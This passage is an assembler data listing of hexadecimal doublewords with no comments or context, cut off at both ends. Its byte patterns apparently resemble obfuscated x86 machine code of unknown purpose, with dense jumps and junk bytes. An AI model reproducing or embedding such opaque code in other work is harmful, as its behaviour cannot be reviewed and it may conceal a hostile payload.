0D3F239C2h, 5870F40h dd 0BB000000h, 40935CC0h, 0C18BD18Ah, 81F7B70Fh, 0F80A6AEFh dd 0B810F2Bh, 60000000h, 95EF181h, 0C8806895h, 81666136h dd 0B7F9F1C9h, 0C881660Ch, 7E86E0Ah, 0E8000000h, 6DE4616Fh dd 0E857F4C8h, 9, 0E026F4D6h, 1EF9CCDEh, 5E5E5E3Eh, 28D98166h dd 0F3C281CAh, 8B7F3C50h, 0C810FC8h, 0F000000h, 68Eh, 3AF08100h dd 53131696h, 71B86660h, 4496BA38h, 5A61659Bh, 5E9h, 14D1300h dd 0EC8AE97Dh, 1FE6B966h, 8D0FC88Ah, 0 dd 0B800F60h, 0E8000000h, 5, 1FCFCE9h, 61F9589Eh, 10E9h dd 836BB000h, 0B6A87B15h, 9813DD84h, 4353E798h, 0D78B6665h dd 66CF8B66h, 0F8EAFBEh, 2083h, 6E800h, 0DE080000h, 34493664h dd 0FE9h, 25FAB500h, 6D3ED502h, 0AFA788Ah, 0C12E0BF0h dd 14E95Ah, 0BD770000h, 0C72390E8h, 0AE60FF20h, 0C568D17Fh dd 0BE0A3076h, 800FCC0Bh, 4, 61616060h, 0BF0FDA8Ah, 7E8CEh dd 0C8C50000h, 0AFB719DCh, 15F4BEFEh, 0F583F81h, 8Ch, 800F00h dd 0F8000000h, 2B6BBB66h, 8980B9B9h, 0E981667Dh, 7E937EAh dd 21000000h, 0F2D6DA28h, 0BE66200Bh, 0B8669A05h, 0B70F3445h dd 538EB8D7h, 81662FEFh, 0B2EDB2F7h, 0BE932h, 57D70000h dd 916F9890h, 55937217h, 380CBFB4h, 800F5AB2h, 4, 685ABA66h dd 816660F9h, 0E86C58C9h, 13h, 0DEEC218Eh, 1F952C20h, 0C4810095h dd 9FBF4DB9h, 602A726Ch, 8A615B61h, 0D0B70FC2h, 6E956h dd 626B0000h, 87E1EE05h, 7ED7B85Eh, 0AFB86BD7h, 0F9656B2Eh dd 12800F50h, 0E8000000h, 0Ch, 5AC8A335h, 2600347h, 0FA95C02h dd 0E9605A5Fh, 0Ch, 1F5EE37Ch, 392E53E4h, 0E2F80056h, 0B86661FCh dd 9E90CA7h, 0E7000000h, 0D3C0BDDFh, 0CD55625Bh, 9DB54BB4h dd 6E8h, 2A655300h, 817CD785h, 5DA833D7h, 8B665E37h, 12E9FEh dd 646A0000h, 0EEFEDE02h, 1080D584h, 7813BD18h, 0BA6B39CDh dd 8B66CF8Ah, 12E8FEh, 9AB30000h, 0C5A0ABC8h, 0F5D8BFEh dd 325DF423h, 85D8EECAh, 0C8E0Fh, 7E90000h, 0CF000000h dd 0C10C1164h, 665AB7C0h, 8F0FFB8Bh, 1, 12E9F9h, 6B250000h dd 4D026D26h, 2677229Ah, 1D065F1h, 83BCCFEAh, 0ECC08166h dd 0FBB866FBh, 830FF5BAh, 2, 0BF0F6160h, 0B70F52D3h, 7E859FFh dd 0C4000000h, 0AF493370h, 0BE660090h, 6659ACD1h, 6653D78Bh dd 3047D181h, 11E9605Eh, 0FF000000h, 0B0121F9Ch, 1B0AA7D8h dd 0A195F6B2h, 0FECFBC3Bh, 82E103BBh, 0E852616Ah, 14h dd 0C47FFB54h, 1E8E65AFh, 8B7B2E25h, 4886E18h, 0AE2CC30Dh dd 0BE9h, 0F5ECC600h, 0BF2F5534h, 32A40981h, 0CD805F5Eh dd 6840FD4h, 81000000h, 0A37DC8E1h, 1085B901h, 8D0F5A5Bh dd 4, 0CF64B866h, 3C9E781h, 8A0F05FAh, 3, 8146ED80h, 0E9DC89F1h dd 5820F31h, 60000000h, 61EF8AF9h, 14E8h, 889B7200h, 4C6DE0ABh dd 0B7BAEE4h, 393204Bh, 9ADBECCCh, 83EFBB60h, 0BA58115Ch dd 20D9993Bh, 0B2C68B66h, 0D0EA811Ah, 665D5F11h, 8C0FD98Bh dd 6, 8B8BB160h, 0EE861D9h, 0A2000000h, 5D117713h, 0BF0AB38Dh dd 68C512B2h, 38F0F79h, 0F000000h, 0F95FDABFh, 0EE8h, 32C05600h dd 95894E0Fh, 840D57CAh, 5F973122h, 0B4D3BF0Fh, 5E9FDh dd 0E1C30000h, 0BBA0EEC2h, 31D3F111h, 32176FBAh, 0DFBF0F1Dh dd 8B66F98Bh, 0F68060D9h, 5870F03h, 66000000h, 70B5E981h dd 9E961h, 60C00000h, 0BA797319h, 0E81D2BB9h, 5, 0E5D5333Ch dd 5833B66Dh, 0FE860F9h, 9000000h, 0D91F29EFh, 60ADFD2Bh dd 0F117660Ch, 8B666404h, 8B0F5FF7h, 2, 6061DA8Bh, 3810Fh dd 0D3800000h, 9E94Fh, 0CBF0000h, 0D930FB37h, 6171E2F6h dd 8E8h, 5F4F2100h, 33005787h, 5BC68B59h, 830FE7B5h, 6 dd 49D4C781h, 8E0F3E1Dh, 8, 0FBBF0F60h, 61D0BF0Fh, 0BEF88B66h dd 79E6D23Fh, 8E950h, 20460000h, 30E42EC4h, 0F581708h dd 198Dh, 0DE800h, 988C0000h, 471AB9EBh, 186A7943h, 0FC81737h dd 8Dh, 8D0F5E00h, 4, 58E4B050h, 9E950h, 0D77F0000h, 0B40E39B6h dd 5FF3CFE7h, 8FC9C781h, 0BB6673E3h, 0FE8C638h, 23000000h dd 6B243111h, 8130D387h, 64116C94h, 0E856BB23h, 0Dh, 0F1C0AB28h dd 0F35CBFFh, 263FBC8Bh, 585E5A09h, 14E9h, 0DF173400h dd 29FA616Dh, 49E44D7Ch, 811541FAh, 88381987h, 0FBB70FBEh dd 0C71DC281h, 8C0F72BBh, 5, 1463DCB9h, 8166536Ah, 5B4D2BC7h dd 0FD78B60h, 28Ah, 61C38B00h, 3FC5EA81h, 80600209h, 3B83DE8h dd 613925BCh, 3830Fh, 8B660000h, 3DA3BACAh, 8B6673FAh dd 66D3B0F7h, 11E9F38Bh, 5B000000h, 0CE8949F5h, 0F359C912h dd 0BE89590Fh, 5B1AA508h, 0E9C9B70Fh, 0Fh, 1224D225h, 79D4B3D7h dd 692AF1A5h, 57FB2324h, 66B5B059h, 748DE881h, 5AD28166h dd 12E917h, 0B02C0000h, 0EC9401D2h, 4CC4CEE3h, 84C9A72Dh dd 51ACDBAEh, 128B0Fh, 0E9600000h, 9, 36B4CF52h, 0E23D2B99h dd 61D68B26h, 0B39BC281h, 0FB8B167Fh, 14E9h, 0A63A2200h dd 52496C0Ch, 721CA512h, 0A00E6D7Ah, 0A4EAD44Eh, 0E7E58065h dd 5E9F5h, 51EB0000h, 50B71D72h, 39DEBDB9h, 0AE95E09h dd 32000000h, 4570C662h, 6E3EE4DCh, 66605716h, 677DD281h dd 14E8h, 51D09500h, 0CEEC3169h, 2BFE659Fh, 40DE0CB8h dd 530F0D18h, 5B61592Bh, 8B665360h, 0F9615EF2h, 5880Fh dd 52B90000h, 812099A7h, 401CB9D9h, 10E95Eh, 47CF0000h dd 9E1995FEh, 0EC472DECh, 0BF49A384h, 5BB9A23Bh, 0E92D0758h dd 9, 0D151686Dh, 1BC1C92Ah, 7E8C3h, 0C3B90000h, 736A0238h dd 61605100h, 0E8FC585Ah, 0Ah, 7AFB655h, 0F738BEB9h, 13E83AEDh dd 18000000h, 0B20A4CCBh, 4BD9FF8Fh, 5ED8012Eh, 0F65BF7E6h dd 0B70F6E8Ch, 0E95F5AC3h, 0Eh, 0AB22069Ah, 5BAD66B2h dd 561795F4h, 6B32226h, 3880FF9h, 80000000h, 5660E5D4h dd 0EE8h, 2D838300h, 5A0556A4h, 8061B3D2h, 5AA3752Ch, 0F861F95Bh dd 4810Fh, 0BB660000h, 0E957A09Ah, 14h, 0F83AB423h, 98767DFCh dd 4E452AA5h, 0CCC2327h, 0C4FC91B2h, 0BA66515Eh, 0E95B9A60h dd 13h, 6509D07Dh, 424536B8h, 0F70DF09Ch, 34D4C028h, 0F5405E2Ah dd 6D6001B8h, 0FC68B7Ah, 686h, 0F7CF8100h, 0E826B002h dd 0Fh, 0DD9FB605h, 17021F8Ch, 0D3AA5AEDh, 6654AA65h, 0F859D88Bh dd 2810Fh, 0D98A0000h, 96C08052h, 0CABF0F5Eh, 0CF81F960h dd 201C1B11h, 0EE961h, 35CF0000h, 556FBC5Bh, 0EC6D80A8h dd 44828CEAh, 0AE9h, 6803B00h, 6D18A068h, 81A29CB4h, 5E5EFFCFh dd 0CFACB934h, 11E90FDFh, 8A000000h, 859856C1h, 0E0AF595Dh dd 0B7B84CC1h, 510DD204h, 8E0FCE8Bh, 16h, 11E9h, 0E45EA600h dd 0F657DD60h, 64C426A0h, 459B75B4h, 816667D5h, 577784E2h dd 0F381665Bh, 9E9DFC2h, 74000000h, 665657BDh, 2C8E2309h dd 34EE8166h, 0C0EFB916h, 58520F17h, 8ACE8B66h, 0C78B66EBh dd 0C88B5350h, 0F1B55F58h, 4860Fh, 0B8660000h, 8C0FA0BBh dd 2, 0BE8CB8Ah, 21000000h, 1C6F2DE4h, 0C702EF3Ch, 870F29E9h dd 6, 0E293C881h, 0F5A2E66h, 38Eh, 0F6BF0F00h, 0DA8B6660h dd 0EE861h, 0D6F10000h, 25D445Fh, 5169B1DDh, 0D2AA53E0h dd 0F0B45BF5h, 14E9h, 0F10A8500h, 3CF64B81h, 9E612909h dd 7C44A0E4h, 9189E25Eh, 0FE829h, 0C3EB0000h, 0AA99C772h dd 8BD20210h, 0F8E68911h, 0AE998h, 0C7260000h, 9F17F40Dh dd 454BAE74h, 12E9F85Fh, 42000000h, 0EFCE7C54h dd 10EA88A4h, 3DC087C2h, 0EDB0CDF9h, 0E1CF81CDh, 0F1559A7h dd 687h, 0BA665200h, 0E959093Dh, 12h, 0B75D83F3h, 0F81B4893h dd 62702DF7h, 0C649E80Ch, 8166A26Dh, 602B29E9h, 13E8h dd 0F5DFAF00h, 0EFC57325h, 0ABEFB35h, 443C43DCh, 70BFD858h dd 13E85Bh, 0FA4E0000h, 0FBC2BC00h, 0EDDF979Dh, 68E5CE52h dd 0E451A599h, 0C6BF0F5Dh, 6E86158h, 0B3000000h, 0B21E254Eh dd 5AD6B23Bh, 0BB3EF81h, 0B70F250Eh, 890F60CFh, 18h, 12E8h dd 2A62AE00h, 0F8B8B7FCh, 0B684916Ah, 0A40A1678h, 5F95B005h dd 0F639CB81h, 0F961222Fh, 8A0F8AB5h, 0 dd 66D18B66h, 7FB5D68Bh, 13E8h, 86FF5600h, 630F9D23h, 0BF5C380Dh dd 55A615D4h, 0D921A529h, 58E1C881h, 0F5A2A0Bh, 382h, 0FB8B6600h dd 6E922B5h, 3B000000h, 4A602DCh, 18A0F93h, 0F5000000h dd 66CA8B66h, 0BFBCB3B8h, 0A8E305Eh, 58E0Fh, 0CABA0000h dd 6610456Ah, 0F5561BFh, 840FD1BFh, 4, 54A1BE66h, 0B14DBF53h dd 56596362h, 5E9h, 0A351AA00h, 0E858BE04h, 14h, 0B422D9F4h dd 1F889FFBh, 0EBFE256Eh, 72F3C6F7h, 7366A97h, 5FDE8B66h dd 3870Fh, 0B70F0000h, 0AE8C3h, 495D0000h, 0CDDBD521h dd 1621D88Ah, 9E9h, 0AE441A00h, 313BC49Bh, 665A0F2Eh, 0F3CFF781h dd 0B937CC80h, 6D981425h, 9E8h, 7A634600h, 5E53D14h, 0E181FCD7h dd 47A398D1h, 10860F5Ah, 0E9000000h, 0Bh, 0BACC11A4h, 0AAF24F9Eh dd 60D05CBBh, 12E8h, 2B3F9700h, 223265ABh, 0A4B08EDFh dd 0D741ACABh, 80A14C98h, 6158BECCh, 18B0F60h, 0F8000000h dd 61F08B66h, 58C0Fh, 81660000h, 6050FFF6h, 8E8h, 8BBE8A00h dd 0FB5EE79Dh, 5689B809h, 0F5F3430h, 6661F7B7h, 0D18AD88Bh dd 0B70FD18Bh, 0FEB70FC3h, 8E8h, 71CDA000h, 0CC12E310h dd 59BDB56Dh, 0FC6B70Fh, 385h, 1EC48000h, 9BBFEE81h, 0CE8042BDh dd 0AE8BDh, 86F60000h, 44B2B1A4h, 101F6A86h, 5840Fh, 0D6BF0000h dd 5A2469FAh, 0C18B9DB2h, 6E9h, 1ECEDD00h, 0F91F8E5h, 800FD1BFh dd 2, 0BF0F5F57h, 138A0FC9h, 0E8000000h, 9, 16DC8F19h dd 0FBA950A6h, 2BA66B2h, 0E5805860h, 66F3B51Fh, 2A61DF81h dd 14E9h, 88EC8B00h, 33B68142h, 640F4837h, 1D911551h, 8290E14h dd 3CB7F926h, 10E9h, 9907CF00h, 0A9C3386Ah, 7C3F52A4h dd 9FBB0B8Bh, 0C8816648h, 0B70F2531h, 12E9F2h, 83DF0000h dd 420D9DE9h, 22275794h, 6F953C02h, 0C45185D4h, 9E8h, 10CB5C00h dd 45245BBDh, 8B660A98h, 830F5BF7h, 6, 850Fh, 0F530000h dd 587h, 0A149BB00h, 0E95E6A53h, 11h, 80A221Fh, 4817B7F1h dd 9241C16Fh, 518C821h, 802EBAECh, 0B70F1E25h, 0E28166CBh dd 0F56CDB7h, 583h, 0C6816600h, 0F598F75h, 8166C6BFh, 667671EBh dd 6657DE8Bh, 58CA7CBBh, 120DDEB9h, 8E962h, 0C5E00000h dd 40045D3Eh, 0BA666BCEh, 0FABB8D09h, 0E90E5C6Ah, 10h dd 799797C5h, 0C0E7AF96h, 826DA65Dh, 39468A1Bh, 9E9h, 21C61500h dd 25DA2134h, 5F57D7A2h, 8E9h, 5B23C400h, 0BAB11C52h, 0BE665781h dd 0F593A0Bh, 0D88AF2BFh, 3DD98166h, 0CE8B66F8h, 850FD38Bh dd 8, 33F78156h, 5F6BC4C1h, 4BB86656h, 0C981585Ch, 54B68408h dd 88E0Fh, 840F0000h, 2, 8B665E51h, 0C8B70FC1h, 66F0C480h dd 0C25BC881h, 40B9B852h, 605E069Fh, 0EE9h, 514B3A00h dd 0F9CDB8D2h, 0F314ABDh, 0FF3F857h, 1786h, 12E900h, 589E0000h dd 4B25BD22h, 2F8A1AAAh, 0E39123DAh, 9276575Dh, 6E961h dd 0EC360000h, 8A147985h, 6041E980h, 87D8B966h, 0C3816661h dd 0A2BB28A4h, 0E90067AEh, 5, 0AC56BDEDh, 9E842h, 4BC70000h dd 3D78630Ch, 666134E1h, 605AD68Bh, 39973FBAh, 0A4BE663Ah dd 0FC5161B9h, 43BFF95Bh, 0F31D5B1h, 585h, 0E8816600h dd 0E9577A74h, 7, 65F30FADh, 5E12E08Ah, 0E624E981h, 8A0F6760h dd 4, 5E585651h, 0AE9h, 2D0E5000h, 0AFE64641h, 0F10A437h dd 148Ch, 0CE800h, 0C14E0000h, 438A0632h, 0D4035B92h, 5A510A49h dd 0A902B859h, 0BB603384h, 1E2DE00Ch, 28E0Fh, 0C88B0000h dd 0E6D28061h, 0A6C38160h, 8B0D254Ah, 0EF8161CFh, 9B0BB2Dh dd 8870FF8h, 51000000h, 880Fh, 665E0000h, 2C76D281h, 832B5BBAh dd 0FE901h, 1CE50000h, 0CD8681B2h, 0FBBB6707h, 0EBACF5F4h dd 0D88B667Dh, 0CE9h, 616DDF00h, 4D7C29FAh, 41FA49E4h dd 3BBF6615h, 7E889h, 1C530000h, 24A1B4E0h, 5B57B31Bh dd 0C3CCDE81h, 0C38B01ACh, 49D880FCh, 0E837DE80h, 9, 9239E2EEh dd 286B9709h, 0C38B66F4h, 0B861B85Bh, 8B66006Ah, 8166FCF2h dd 66D49AF3h, 8B51DA8Bh, 14E958F0h, 17000000h, 9FE96530h dd 86192DD6h, 80646015h, 5B53FFC9h, 603A64E2h, 8B66F28Bh dd 0E96061FEh, 6, 0D5397F06h, 0F6041E3h, 80h, 820F00h dd 61000000h, 14E961h, 64610000h, 630233B3h, 0CA78FA56h dd 0C6E29D3Ch, 796477F0h, 0C0813A95h, 53E76296h, 0C6BF0F57h dd 14810F5Fh, 0E8000000h, 8, 0AFDC9694h, 595516CDh, 5F96F081h dd 52580ADCh, 2F177FBFh, 8B665971h, 8880FCBh, 60000000h dd 89C1BA66h, 6661FB8Bh, 0E95295B8h, 0Dh, 0C829CEEEh, 857B9010h dd 0D72ADFDEh, 8A0F60BBh, 5, 0EE68166h, 4840F6Fh, 66000000h dd 618DA9BFh, 6EDA8166h, 66D38B63h, 850FF98Bh, 3, 66CAB70Fh dd 0F103EBAh, 8166DBB7h, 0E982CBE8h, 6, 8A5E14EDh, 51FC698Bh dd 0DAF07CBAh, 0EE8584Bh, 0CC000000h, 0D485A922h, 0F0E1A13Bh dd 0D87ACF98h, 5A8EB1F1h, 816606B7h, 0F9FFEDAh, 68Bh, 5EA8100h dd 0E964C296h, 9, 0D76BD4B5h, 0B41C6792h, 0F1BF0F0Dh, 61BA6660h dd 2955BB1Dh, 66617BBEh, 0F6EEF781h, 14E8h, 681A8000h dd 0B3890444h, 0B5F7F046h, 0B31A0DE5h, 6832FB29h, 5E95B2Ch dd 0FB000000h, 0DD61067Bh, 11E9h, 47771900h, 9367AF16h dd 0DBD0BFF8h, 0CCA76ABEh, 830F2B70h, 5, 49E18166h, 8166F5EEh dd 0E86C69D8h, 0Ah, 8914963Ch, 9EFE0E23h, 0BA66016Bh, 81599315h dd 4CED51F6h, 8B21B205h, 0DE8C2h, 7FC20000h, 0B2252A85h dd 9A837A10h, 52116A78h, 8C0F5B5Eh, 17h, 0DE8h, 0C92B5500h dd 0F9395BE0h, 0C99C7101h, 0BA667FF3h, 815F3AACh, 0EAF48E0h dd 34BB6611h, 0ECFFB89Ch, 890F75E0h, 6, 7E2FF781h, 0D3811EF9h dd 4EB43CA3h, 5840Fh, 9FBA0000h, 60035839h, 8166F5B1h dd 618A30EBh, 19800F60h, 0E9000000h, 14h, 0C54FE734h, 431CA4C3h dd 91199EFCh, 83C90C99h, 0EA2B20B3h, 0E961D18Bh, 5, 0E6040BF6h dd 850F600Dh, 3, 0E9F78B66h, 9, 0F541DAC5h, 5DA0D377h dd 8A0F61C6h, 3, 0FCF18B66h, 0FD1B70Fh, 287h, 52FB8B00h dd 9E9h, 0A965F000h, 6D57AA66h, 665B3EA9h, 0D78BCF8Bh dd 9E960h, 8F30000h, 6224A240h, 0FDA7DB8h, 1982h, 14E900h dd 4320000h, 1BE13AEFh, 0BBFB2023h, 3529052Fh, 54B1EE95h dd 0E961C565h, 0Eh, 301B00AFh, 8F58E1B9h, 86170525h, 0BF66F40Bh dd 50534759h, 18E6BF66h, 66575E5Bh, 113BE881h, 38A0F5Ah dd 0F000000h, 12E9F2B7h, 0E5000000h, 93221E95h, 966BB505h dd 0E580F0F9h, 6CE6052Ah, 0AE94Bh, 710A0000h, 414788D7h dd 4B1D9ED8h, 0CE8h, 0B4053000h, 9149ED74h, 68747169h dd 0D0F7812Eh, 595D5F01h, 0E8D08B66h, 14h, 110D128Ah, 0B7547Bh dd 0B785CA53h, 0FFD56DCBh, 53BA7BCFh, 665FE38Ah, 0D48AC88Bh dd 1A8E0Fh, 12E80000h, 0FD000000h, 89226C6Fh, 0F224B2D1h dd 0BCBA7AA1h, 4FA7035Ch, 5A595385h, 0BE9h, 32B53200h dd 4BFA1BD2h, 9AFB91h, 0DFBF0F60h, 61F28B66h, 1A11D681h dd 0C38103BDh, 713BB1DBh, 0DE9h, 725AA500h, 7769AF18h dd 8BC15997h, 8B666E9Eh, 48F0FD6h, 66000000h, 0B0EFCEBEh dd 0FD52B92Dh, 0F6051E2h, 38Ah, 0DA8B6600h, 0EFC755BAh dd 800F6105h, 3, 0E968F280h, 14h, 53CF4716h, 0CCBAAAEBh dd 0D197BF95h, 921481B0h, 4AB1CC16h, 0BA66F38Ah, 0F2B75204h dd 13E8h, 5396B500h, 0F3A82E80h, 799249ACh, 60C4E2FBh dd 0CCE004FDh, 0B6C18166h, 80605F9Ah, 0CB8A7DC1h, 0EEC88161h dd 667EA2A9h, 1573EA81h, 6DFAC181h, 0DE810B6h, 36000000h dd 71C47955h, 42C22D49h, 7516AD03h, 6840Fh, 8F0F0000h dd 0 dd 0BF0FF85Fh, 860FD6h, 66000000h, 668F12BEh, 8160DF8Bh dd 9AC07EE9h, 0B70F607Ah, 0E28166C7h, 6161AE75h, 9E860h dd 41940000h, 0CB95C06Fh, 0FF67B0Bh, 83h, 85BE5800h, 614E6794h dd 514FBB66h, 9E9h, 6925EB00h, 43A7078Dh, 56FC4C19h, 0CE8h dd 0E7433500h, 0C8EEFA94h, 0E06E60BFh, 5F58F896h, 68B0F60h dd 0F000000h, 83h, 80F86000h, 61613DDEh, 8E8h, 0F4C9B700h dd 0E469EA73h, 0C0B70FF5h, 0CAB16058h, 0B8605061h, 2620F261h dd 5961E28Ah, 0B4D98B66h, 0DBB70FE3h, 964B966h, 10E971B0h dd 0FF000000h, 19828B35h, 7E2B44ADh, 351AD7C3h, 802E3438h dd 0E8F500F0h, 11h, 999D9D79h, 0F7161FC0h, 0FE2BC48Bh dd 3CC1B091h, 0C9816642h, 605FB984h, 870F50h, 5B000000h dd 6800Fh, 0E8810000h, 63A9BB13h, 0A4D58061h, 0B5DE8B66h dd 0C9BF0F65h, 12E8h, 34809900h, 4577D7F6h, 77DD4009h dd 3D8671ABh, 66BA2C6Fh, 5BA238BFh, 5026C180h, 5FFFD080h dd 8C6AE881h, 0EE81FEFh, 17000000h, 0E8F2F51Ah, 5EC5C0BFh dd 28DFAC49h, 55CD8078h, 4870F5Fh, 60000000h, 52616160h dd 62BCD381h, 0B85E5735h, 189AE22Fh, 9DCA8166h, 0E2CD805Dh dd 5E8h, 0EC24D400h, 8A0F3653h, 12h, 0DE9h, 0AA89CD00h dd 7AF4CAA0h, 2A52719Fh, 6059DB4Ch, 0DE8h, 6D862100h, 735DE762h dd 128B25FDh, 0B35BE644h, 78B261C5h, 0DF8B6060h, 8161E2B4h dd 885D87E7h, 0CF81617Ch, 4A21220Eh, 5E9h, 0EFBE8600h dd 0B70FCB54h, 7E8F2h, 0E6590000h, 0B3EA7D08h, 2880FF9h dd 8B000000h, 8F0F59FBh, 1Bh, 0FE8h, 0CDFA8D00h, 3B65CAB3h dd 0F2D74BB0h, 0EAB1EC02h, 880Fh, 665F0000h, 0DD2CF381h dd 0D08AF18Bh, 66DCB1FCh, 0E9CF40B8h, 0Ah, 0CC864EE2h dd 0D5941881h, 0F38B11D0h, 0D207EDBFh, 0DE875h, 0EDF70000h dd 2D25E73Ah, 0FB275666h, 808E5F40h, 0B85963C6h, 6AB5BAE3h dd 2D57DE81h, 0FE8B024Eh, 0FECC480h, 8166D8BFh, 0FE4DDDAh dd 5156C8B7h, 13E9h, 6B99F600h, 869CF85Ah, 0BB1EAC72h dd 84172320h, 1BD5E16Ch, 11E95E5Eh, 0A3000000h, 388A2DC1h dd 0F947AE3h, 0D816C6F0h, 0BB9ECE5Dh, 2890Fh, 0BCB40000h dd 7293B966h, 8B9F5F9h, 0BA11F8E7h, 33B7DE7Eh, 32DA58BAh dd 66A6B76Eh, 0F5F94BEh, 118Eh, 0CE900h, 13CF0000h, 9647F772h dd 190D2AFDh, 8D0FE1A6h, 17h, 0EE8h, 0E5E19C00h, 6C06AF1h dd 0DE181BA8h, 0FCBAEF4h, 0F5AC8B7h, 38Fh, 5BFC5300h, 861E61B8h dd 66C78B08h, 80BBD68Bh, 5249608Ch, 0F55EF78Bh, 11E9h dd 0E3A7E700h, 0DBA1B51Bh, 75D07939h, 4D47346Fh, 850F238Dh dd 6, 8A0Fh, 66FC0000h, 0DF6AE981h, 9E9h, 51A93600h, 826A2BA0h dd 8B66AA82h, 6880FF9h, 81000000h, 84B648EEh, 0F781667Ah dd 5CBB37C9h, 0E92F3606h, 5, 0B8BBD635h, 7E8F5BCh, 5000000h dd 723EA09Eh, 665E9374h, 0E95C01BEh, 10h, 1A5C996h, 65AD2065h dd 5FA83A84h, 68E1A926h, 0D0CE8166h, 0BF666053h, 0F6168B4h dd 168Bh, 0BE800h, 0EF3D0000h, 8EB6121Dh, 0BB4F2E9h, 0C8816612h dd 0E95BDE03h, 7, 9FE5374h, 0F14D3ABh, 982h, 3870F00h dd 66000000h, 0AAB4D78Bh, 724B966h, 4FF0B966h, 0FDE28166h dd 0E28060A8h, 0B2BA6689h, 0C38B615Ah, 0F80AE281h, 0B70F4827h dd 8A08BFD8h, 0B70F143Fh, 667EB3C1h, 7A0ADE81h, 0BE9h dd 15DE1B00h, 0F08240A8h, 1DD274F3h, 0BE9h, 67697F00h dd 7409B1FDh, 9C075CE0h, 14E9h, 4BDB2B00h, 4BC78450h, 3D78630Ch dd 436134E1h, 0A9630B73h, 21BE6604h, 665E5180h, 0E9D115BFh dd 0Bh, 0DD4E9BA8h, 0E57DE5E5h, 60093F45h, 0E3D18166h dd 800F5238h, 0 dd 0E9606159h, 10h, 21681DFDh, 7BD6F5C6h, 3758C93h, 0B90E24CEh dd 0AC7AF8BAh, 8B66617Dh, 0C1BF0FCBh, 5E851h, 801B0000h dd 8151A426h, 532A85D3h, 0F9585905h, 667DF180h, 17F8F081h dd 66EAC180h, 70D3C381h, 17830Fh, 12E90000h, 0DF000000h dd 45BF53E3h, 2B0A5781h, 0B5FE6754h, 0FCCD0D16h, 810F60E0h dd 6, 890Fh, 6E80000h, 1A000000h, 64826CCFh, 5F5F52DAh dd 12E961h, 0A24B0000h, 11C73A4Dh, 0EB768E0Dh, 0A63A22AFh dd 52496C0Ch, 1C78166h, 0A3EEBE30h, 5E94E5Dh, 32000000h dd 7513681Fh, 0A42EF81h, 860F4562h, 0Bh, 6E9h, 0B5DD5E00h dd 81FEB2B3h, 0B5FC4FE1h, 0F960FC5Ah, 61D0B70Fh, 7255E181h dd 0DE907BFh, 8A000000h, 175B0605h, 2C8AD98Ch, 1CFBE3C7h dd 5D9F681h, 7E93F77h, 0EB000000h, 0D47B91CBh, 66605081h dd 0E83A42BAh, 0Ch, 0F2F87003h, 0F08FFD2Dh, 0C7B06746h dd 8C0Fh, 61580000h, 0E1829B8h, 5850F79h, 60000000h, 61D2BF0Fh dd 10E8h, 891D6400h, 0E2E4E5Ah, 0EF83A523h, 9D9A56C3h dd 58F78BE0h, 0E900D280h, 10h, 4558870Ah, 0FDE56534h, 0CD196237h dd 0ABAD3650h, 19870Fh, 0DE80000h, 2D000000h, 63C403CBh dd 4C4F9870h, 0AE1FC84Eh, 32DCF381h, 0F5F5A10h, 84h, 0C6816600h dd 0C8803CC9h, 0BE919h, 54DB0000h, 4F45B5D7h, 861B7E33h dd 5741BF37h, 0BE9583Bh, 1E000000h, 0FB0CC3ADh, 7D4656F7h dd 0BF0FE4C8h, 0AF381C8h, 0B64789F0h, 0F2BF0F61h, 8B66FB8Bh dd 0B70F60CFh, 8B6660F3h, 8CF081F7h, 611C144Ah, 14E861h dd 73210000h, 17C52B01h, 6375EC46h, 435F2B73h, 57BB8391h dd 0B0606A94h, 616160E6h, 14E95Bh, 0C5110000h, 0F2057E95h dd 0D1CEC658h, 5E11A689h, 0C8B022FDh, 0C781E4C1h, 3BB2DB18h dd 12E9h, 54E0FC00h, 3F315ADAh, 0CB050145h, 7D6D439Bh dd 8BEE143Dh, 6682B0F0h, 52DE84BFh, 6E9h, 12264600h, 5AF065D1h dd 11E9CC8Ah, 83000000h, 15755694h, 0A7F819Dh, 4C9543C3h dd 62E2212Ch, 9820BB60h, 8A0F2741h, 2, 60616160h, 5761D080h dd 8166615Ah, 607416F6h, 0FDB0B966h, 0FFBF0F61h, 13E8h dd 1368C00h, 0D05A5310h, 256574ACh, 5175CA23h, 7DBAC554h dd 12E9h, 7D26FB00h, 3EDB50E8h, 5BA8461Bh, 0F2A69861h dd 5A5BC4BBh, 0A0B340BEh, 47EA813Ch, 81341183h, 0AB69A8DEh dd 0EF49BA26h, 13E80AF7h, 0B7000000h, 0D7B5193Ah, 0BDA4822Ch dd 8C981707h, 65169DC8h, 830F27BFh, 6, 8F0Fh, 0F95B0000h dd 0A5B5DE81h, 81666AADh, 66E849E9h, 80BEB81h, 890FC68Bh dd 2, 1ABAD58Ah, 0F171A04h, 285h, 810FB000h, 0EFEC66EBh dd 93C8B836h, 81664653h, 66892CE2h, 0E388D781h, 1F840Fh dd 5E80000h, 62000000h, 73DA5F2Ch, 0EE8h, 0C251DB00h, 0D6B6EAFEh dd 0C1AD8486h, 5E8DF397h, 5E95Bh, 34F30000h, 0F515C13Bh dd 10E9h, 61730100h, 2AE897C0h, 8CF76CAh, 0D420B69Ch, 3850FD4h dd 80000000h, 8E9C6D6h, 5C000000h, 0FF42A668h, 8A4D66D2h dd 6E960FDh, 2A000000h, 0B4996989h, 88B55068h, 81F9615Bh dd 4C6671C2h, 830FF93Dh, 7, 4651BE56h, 665A596Ah, 0FE3AE281h dd 0C88AF78Ah, 0E40BDE81h, 8B663516h, 1E870FFEh, 0F000000h dd 1887h, 13E900h, 42050000h, 22429BDCh, 3336BE0Fh, 0E0C819B7h dd 91C8E0A0h, 0FCDC8ADAh, 7EE8166h, 0E9816602h, 0E281F229h dd 6E4F0A85h, 79EA8060h, 7E8h, 0E4A66200h, 0B5068728h dd 666158F8h, 0DE80D78Bh, 0C38BF9CAh, 6317BB66h, 0E8F08A60h dd 0Ah, 32577986h, 79AC434Ch, 0BF66E60Dh, 615A2357h, 0E84ABB66h dd 73CA8166h, 33BF60A2h, 525BCC2Bh, 6159F78Bh, 1830Fh dd 66F90000h, 3CBE281h, 0FC71B866h, 0B866D38Bh, 13E96865h dd 19000000h, 0BAB4A381h, 99E95736h, 99B05934h, 0F653AC1Dh dd 0E9606FB4h, 7, 0E9C2EA82h, 611E2E1Eh, 0B0E78AF8h, 0E9D18B0Dh dd 0Ch, 55BC293Ah, 0E7E20447h, 72DB44DDh, 0FDFC981h, 81F96909h dd 54E445CBh, 0F0B0BA5Eh, 0BE947C8h, 78000000h, 0DC67D2A6h dd 28BD378Eh, 8B663B66h, 890FC7h, 0F5000000h, 6E9h, 5860B900h dd 0B866A6C4h, 